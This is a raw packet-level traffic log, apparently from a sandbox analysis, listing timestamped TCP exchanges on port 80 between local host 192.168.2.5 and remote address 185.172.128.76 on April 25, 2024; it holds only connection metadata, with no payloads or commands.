Apr 25, 2024 21:48:02.123677969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123712063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123775959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123790026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123811960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123823881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123866081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123878002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123900890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123913050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123934984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123949051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123960018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123971939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123972893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123986959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124006033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124034882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124047995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124068975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124072075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124080896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124105930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124105930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124124050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124135971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124149084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124177933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124188900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124201059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124222994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124248028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124264956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124289036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124299049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124321938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124322891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124353886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124438047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124480963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124502897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124516010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124536991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124548912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124588966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124629021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124648094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124682903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124751091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124763012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124785900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124798059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124851942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124895096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124896049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124932051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.124954939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124967098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.124989986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.125001907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.125036955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.125075102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.125097990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.125108957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.125133038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.125144958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.311618090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.519372940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626061916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626197100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626209021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626220942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626327991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.626327991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.626357079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626369953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626380920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626411915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.626426935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.626540899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626554966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626564980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626578093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.626629114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.626629114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.679634094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679647923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679657936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679672956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679721117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679732084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679742098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679753065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679764986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679771900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679776907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679781914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679788113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679790974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.679790974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.679790974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.679817915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679830074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.679831028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.679883003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.679996967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680032969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.680123091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680134058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680145025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680156946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680170059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680200100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.680200100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.680200100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.680219889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.680248976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.681401968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.730495930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.730973005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731090069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731314898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731328011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731343985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731408119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731408119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731488943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731501102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731509924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731522083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731533051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731566906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731581926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731581926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731581926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731602907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731854916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731867075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731877089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731889963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731903076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731913090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.731915951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731930971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.731965065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732000113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732012033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732023001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732033968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732047081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732055902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732058048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732074976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732085943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732096910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732114077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732129097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732129097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732129097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732131004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732146025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732148886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732161045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732162952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732175112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732184887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732198000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732199907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732209921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732220888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732230902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732239962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732239962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732239962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732276917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732623100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732637882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732649088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732659101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732671022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732682943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732695103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732707024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732713938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732713938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732718945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732748985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732758999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732759953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732758999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732758999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732770920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.732789040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.732812881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784051895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784125090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784156084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784168959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784202099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784233093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784295082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784307957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784318924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784329891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784342051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784351110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784354925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784367085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784379005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784392118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784392118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784420967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784480095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784640074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784802914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784969091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.784981012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.784981012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785022020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785022020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785147905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785160065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785208941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785279989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785293102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785341978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785341978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785420895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785435915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785440922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785451889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785459042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785489082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785531998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785593987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785605907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785617113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785649061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785667896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785742998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785756111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785764933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785804987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785804987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785852909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785865068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785876036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785888910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785902023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785913944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785928965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785939932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785947084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785953045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785953045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785953045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785953045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.785962105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785973072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785984993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.785996914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786004066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786004066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786045074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786045074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786128044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786171913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786295891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786343098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786623001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786634922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786679029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786690950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786752939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786766052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786777020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786788940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786833048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786833048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.786891937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786905050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.786981106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787034035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787045956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787055969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787067890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787092924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787106991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787136078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787183046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787195921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787205935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787218094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787230015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787259102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787259102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787291050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787298918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787309885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787319899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787332058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787343979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787354946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787365913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787377119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787377119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787377119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787381887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787395000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787395954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787444115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787444115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787451029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787462950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787473917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787483931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787496090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787507057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787518978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787529945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787530899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787530899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787642002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787801981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787813902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.787849903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.787849903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.788094997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.788110971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.788158894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.788269997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.788283110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.788295031 CEST	80	49704	185.172.128.76	192.168.2.5
